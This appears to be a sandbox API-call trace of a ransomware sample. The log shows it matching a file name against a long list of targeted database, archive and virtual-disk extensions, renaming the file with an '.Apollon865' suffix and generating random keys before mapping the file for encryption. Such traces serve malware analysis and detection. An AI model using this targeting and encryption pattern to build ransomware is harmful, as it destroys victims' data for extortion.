	[0086.328] lstrlenW (lpString=".lnk") returned 4
	[0086.328] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".lnk") returned 1
	[0086.328] lstrlenW (lpString=".ini") returned 4
	[0086.328] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".ini") returned 1
	[0086.328] lstrlenW (lpString=".sys") returned 4
	[0086.328] lstrcmpiW (lpString1="QribyyHfWhKB4PKGXpH.mkv", lpString2=".sys") returned 1
	[0086.328] lstrlenW (lpString="QribyyHfWhKB4PKGXpH.mkv") returned 23
	[0086.328] lstrlenW (lpString="bak") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.328] lstrlenW (lpString="ba_") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.328] lstrlenW (lpString="dbb") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.328] lstrlenW (lpString="vmdk") returned 4
	[0086.328] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.328] lstrlenW (lpString="rar") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.328] lstrlenW (lpString="zip") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.328] lstrlenW (lpString="tgz") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.328] lstrlenW (lpString="vbox") returned 4
	[0086.328] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.328] lstrlenW (lpString="vdi") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.328] lstrlenW (lpString="vhd") returned 3
	[0086.328] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.328] lstrlenW (lpString="vhdx") returned 4
	[0086.328] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.329] lstrlenW (lpString="avhd") returned 4
	[0086.329] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.329] lstrlenW (lpString="db") returned 2
	[0086.329] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.329] lstrlenW (lpString="db2") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.329] lstrlenW (lpString="db3") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.329] lstrlenW (lpString="dbf") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.329] lstrlenW (lpString="mdf") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.329] lstrlenW (lpString="mdb") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.329] lstrlenW (lpString="sql") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.329] lstrlenW (lpString="sqlite") returned 6
	[0086.329] lstrcmpiW (lpString1="pH.mkv", lpString2="sqlite") returned -1
	[0086.329] lstrlenW (lpString="sqlite3") returned 7
	[0086.329] lstrcmpiW (lpString1="XpH.mkv", lpString2="sqlite3") returned 1
	[0086.329] lstrlenW (lpString="sqlitedb") returned 8
	[0086.329] lstrcmpiW (lpString1="GXpH.mkv", lpString2="sqlitedb") returned -1
	[0086.329] lstrlenW (lpString="xml") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.329] lstrlenW (lpString="$er") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.329] lstrlenW (lpString="4dd") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.329] lstrlenW (lpString="4dl") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.329] lstrlenW (lpString="^^^") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.329] lstrlenW (lpString="abs") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.329] lstrlenW (lpString="abx") returned 3
	[0086.329] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.330] lstrlenW (lpString="accdb") returned 5
	[0086.330] lstrcmpiW (lpString1="H.mkv", lpString2="accdb") returned 1
	[0086.330] lstrlenW (lpString="accdc") returned 5
	[0086.330] lstrcmpiW (lpString1="H.mkv", lpString2="accdc") returned 1
	[0086.330] lstrlenW (lpString="accde") returned 5
	[0086.330] lstrcmpiW (lpString1="H.mkv", lpString2="accde") returned 1
	[0086.330] lstrlenW (lpString="accdr") returned 5
	[0086.330] lstrcmpiW (lpString1="H.mkv", lpString2="accdr") returned 1
	[0086.330] lstrlenW (lpString="accdt") returned 5
	[0086.330] lstrcmpiW (lpString1="H.mkv", lpString2="accdt") returned 1
	[0086.330] lstrlenW (lpString="accdw") returned 5
	[0086.330] lstrcmpiW (lpString1="H.mkv", lpString2="accdw") returned 1
	[0086.330] lstrlenW (lpString="accft") returned 5
	[0086.330] lstrcmpiW (lpString1="H.mkv", lpString2="accft") returned 1
	[0086.330] lstrlenW (lpString="adb") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.330] lstrlenW (lpString="adb") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.330] lstrlenW (lpString="ade") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.330] lstrlenW (lpString="adf") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.330] lstrlenW (lpString="adn") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.330] lstrlenW (lpString="adp") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.330] lstrlenW (lpString="alf") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.330] lstrlenW (lpString="ask") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.330] lstrlenW (lpString="btr") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.330] lstrlenW (lpString="cat") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.330] lstrlenW (lpString="cdb") returned 3
	[0086.330] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.330] lstrlenW (lpString="ckp") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.331] lstrlenW (lpString="cma") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.331] lstrlenW (lpString="cpd") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.331] lstrlenW (lpString="dacpac") returned 6
	[0086.331] lstrcmpiW (lpString1="pH.mkv", lpString2="dacpac") returned 1
	[0086.331] lstrlenW (lpString="dad") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.331] lstrlenW (lpString="dadiagrams") returned 10
	[0086.331] lstrcmpiW (lpString1="PKGXpH.mkv", lpString2="dadiagrams") returned 1
	[0086.331] lstrlenW (lpString="daschema") returned 8
	[0086.331] lstrcmpiW (lpString1="GXpH.mkv", lpString2="daschema") returned 1
	[0086.331] lstrlenW (lpString="db-journal") returned 10
	[0086.331] lstrcmpiW (lpString1="PKGXpH.mkv", lpString2="db-journal") returned 1
	[0086.331] lstrlenW (lpString="db-shm") returned 6
	[0086.331] lstrcmpiW (lpString1="pH.mkv", lpString2="db-shm") returned 1
	[0086.331] lstrlenW (lpString="db-wal") returned 6
	[0086.331] lstrcmpiW (lpString1="pH.mkv", lpString2="db-wal") returned 1
	[0086.331] lstrlenW (lpString="dbc") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.331] lstrlenW (lpString="dbs") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.331] lstrlenW (lpString="dbt") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.331] lstrlenW (lpString="dbv") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.331] lstrlenW (lpString="dbx") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.331] lstrlenW (lpString="dcb") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.331] lstrlenW (lpString="dct") returned 3
	[0086.331] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.331] lstrlenW (lpString="dcx") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.332] lstrlenW (lpString="ddl") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.332] lstrlenW (lpString="dlis") returned 4
	[0086.332] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.332] lstrlenW (lpString="dp1") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.332] lstrlenW (lpString="dqy") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.332] lstrlenW (lpString="dsk") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.332] lstrlenW (lpString="dsn") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.332] lstrlenW (lpString="dtsx") returned 4
	[0086.332] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.332] lstrlenW (lpString="dxl") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.332] lstrlenW (lpString="eco") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.332] lstrlenW (lpString="ecx") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.332] lstrlenW (lpString="edb") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.332] lstrlenW (lpString="epim") returned 4
	[0086.332] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.332] lstrlenW (lpString="fcd") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.332] lstrlenW (lpString="fdb") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.332] lstrlenW (lpString="fic") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.332] lstrlenW (lpString="flexolibrary") returned 12
	[0086.332] lstrcmpiW (lpString1="B4PKGXpH.mkv", lpString2="flexolibrary") returned -1
	[0086.332] lstrlenW (lpString="fm5") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.332] lstrlenW (lpString="fmp") returned 3
	[0086.332] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.333] lstrlenW (lpString="fmp12") returned 5
	[0086.333] lstrcmpiW (lpString1="H.mkv", lpString2="fmp12") returned 1
	[0086.333] lstrlenW (lpString="fmpsl") returned 5
	[0086.333] lstrcmpiW (lpString1="H.mkv", lpString2="fmpsl") returned 1
	[0086.333] lstrlenW (lpString="fol") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.333] lstrlenW (lpString="fp3") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.333] lstrlenW (lpString="fp4") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.333] lstrlenW (lpString="fp5") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.333] lstrlenW (lpString="fp7") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.333] lstrlenW (lpString="fpt") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.333] lstrlenW (lpString="frm") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.333] lstrlenW (lpString="gdb") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.333] lstrlenW (lpString="gdb") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.333] lstrlenW (lpString="grdb") returned 4
	[0086.333] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.333] lstrlenW (lpString="gwi") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.333] lstrlenW (lpString="hdb") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.333] lstrlenW (lpString="his") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.333] lstrlenW (lpString="ib") returned 2
	[0086.333] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.333] lstrlenW (lpString="idb") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.333] lstrlenW (lpString="ihx") returned 3
	[0086.333] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.333] lstrlenW (lpString="itdb") returned 4
	[0086.334] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.334] lstrlenW (lpString="itw") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.334] lstrlenW (lpString="jet") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.334] lstrlenW (lpString="jtx") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.334] lstrlenW (lpString="kdb") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.334] lstrlenW (lpString="kexi") returned 4
	[0086.334] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.334] lstrlenW (lpString="kexic") returned 5
	[0086.334] lstrcmpiW (lpString1="H.mkv", lpString2="kexic") returned -1
	[0086.334] lstrlenW (lpString="kexis") returned 5
	[0086.334] lstrcmpiW (lpString1="H.mkv", lpString2="kexis") returned -1
	[0086.334] lstrlenW (lpString="lgc") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.334] lstrlenW (lpString="lwx") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.334] lstrlenW (lpString="maf") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.334] lstrlenW (lpString="maq") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.334] lstrlenW (lpString="mar") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.334] lstrlenW (lpString="marshal") returned 7
	[0086.334] lstrcmpiW (lpString1="XpH.mkv", lpString2="marshal") returned 1
	[0086.334] lstrlenW (lpString="mas") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.334] lstrlenW (lpString="mav") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.334] lstrlenW (lpString="maw") returned 3
	[0086.334] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.334] lstrlenW (lpString="mdbhtml") returned 7
	[0086.334] lstrcmpiW (lpString1="XpH.mkv", lpString2="mdbhtml") returned 1
	[0086.335] lstrlenW (lpString="mdn") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.335] lstrlenW (lpString="mdt") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.335] lstrlenW (lpString="mfd") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.335] lstrlenW (lpString="mpd") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.335] lstrlenW (lpString="mrg") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.335] lstrlenW (lpString="mud") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.335] lstrlenW (lpString="mwb") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.335] lstrlenW (lpString="myd") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.335] lstrlenW (lpString="ndf") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.335] lstrlenW (lpString="nnt") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.335] lstrlenW (lpString="nrmlib") returned 6
	[0086.335] lstrcmpiW (lpString1="pH.mkv", lpString2="nrmlib") returned 1
	[0086.335] lstrlenW (lpString="ns2") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.335] lstrlenW (lpString="ns3") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.335] lstrlenW (lpString="ns4") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.335] lstrlenW (lpString="nsf") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.335] lstrlenW (lpString="nv") returned 2
	[0086.335] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.335] lstrlenW (lpString="nv2") returned 3
	[0086.335] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.335] lstrlenW (lpString="nwdb") returned 4
	[0086.335] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.335] lstrlenW (lpString="nyf") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.336] lstrlenW (lpString="odb") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.336] lstrlenW (lpString="odb") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.336] lstrlenW (lpString="oqy") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.336] lstrlenW (lpString="ora") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.336] lstrlenW (lpString="orx") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.336] lstrlenW (lpString="owc") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.336] lstrlenW (lpString="p96") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.336] lstrlenW (lpString="p97") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.336] lstrlenW (lpString="pan") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.336] lstrlenW (lpString="pdb") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.336] lstrlenW (lpString="pdm") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.336] lstrlenW (lpString="pnz") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.336] lstrlenW (lpString="qry") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.336] lstrlenW (lpString="qvd") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.336] lstrlenW (lpString="rbf") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.336] lstrlenW (lpString="rctd") returned 4
	[0086.336] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.336] lstrlenW (lpString="rod") returned 3
	[0086.336] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.336] lstrlenW (lpString="rodx") returned 4
	[0086.337] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.337] lstrlenW (lpString="rpd") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.337] lstrlenW (lpString="rsd") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.337] lstrlenW (lpString="sas7bdat") returned 8
	[0086.337] lstrcmpiW (lpString1="GXpH.mkv", lpString2="sas7bdat") returned -1
	[0086.337] lstrlenW (lpString="sbf") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.337] lstrlenW (lpString="scx") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.337] lstrlenW (lpString="sdb") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.337] lstrlenW (lpString="sdc") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.337] lstrlenW (lpString="sdf") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.337] lstrlenW (lpString="sis") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.337] lstrlenW (lpString="spq") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.337] lstrlenW (lpString="te") returned 2
	[0086.337] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.337] lstrlenW (lpString="teacher") returned 7
	[0086.337] lstrcmpiW (lpString1="XpH.mkv", lpString2="teacher") returned 1
	[0086.337] lstrlenW (lpString="tmd") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.337] lstrlenW (lpString="tps") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.337] lstrlenW (lpString="trc") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.337] lstrlenW (lpString="trc") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.337] lstrlenW (lpString="trm") returned 3
	[0086.337] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.337] lstrlenW (lpString="udb") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.338] lstrlenW (lpString="udl") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.338] lstrlenW (lpString="usr") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.338] lstrlenW (lpString="v12") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.338] lstrlenW (lpString="vis") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.338] lstrlenW (lpString="vpd") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.338] lstrlenW (lpString="vvv") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.338] lstrlenW (lpString="wdb") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.338] lstrlenW (lpString="wmdb") returned 4
	[0086.338] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.338] lstrlenW (lpString="wrk") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.338] lstrlenW (lpString="xdb") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.338] lstrlenW (lpString="xld") returned 3
	[0086.338] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.338] lstrlenW (lpString="xmlff") returned 5
	[0086.338] lstrcmpiW (lpString1="H.mkv", lpString2="xmlff") returned -1
	[0086.338] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QribyyHfWhKB4PKGXpH.mkv.Apollon865") returned 71
	[0086.338] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QribyyHfWhKB4PKGXpH.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qribyyhfwhkb4pkgxph.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QribyyHfWhKB4PKGXpH.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qribyyhfwhkb4pkgxph.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QribyyHfWhKB4PKGXpH.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qribyyhfwhkb4pkgxph.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.340] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=67462) returned 1
	[0086.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.340] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.340] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.341] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.349] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.349] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a90, lpName=0x0) returned 0x15c
	[0086.350] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10a90) returned 0x120000
	[0086.352] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.354] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.354] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.354] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.354] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.354] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.354] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.354] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0086.354] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.354] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.355] CloseHandle (hObject=0x15c) returned 1
	[0086.355] CloseHandle (hObject=0x9c) returned 1
	[0086.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
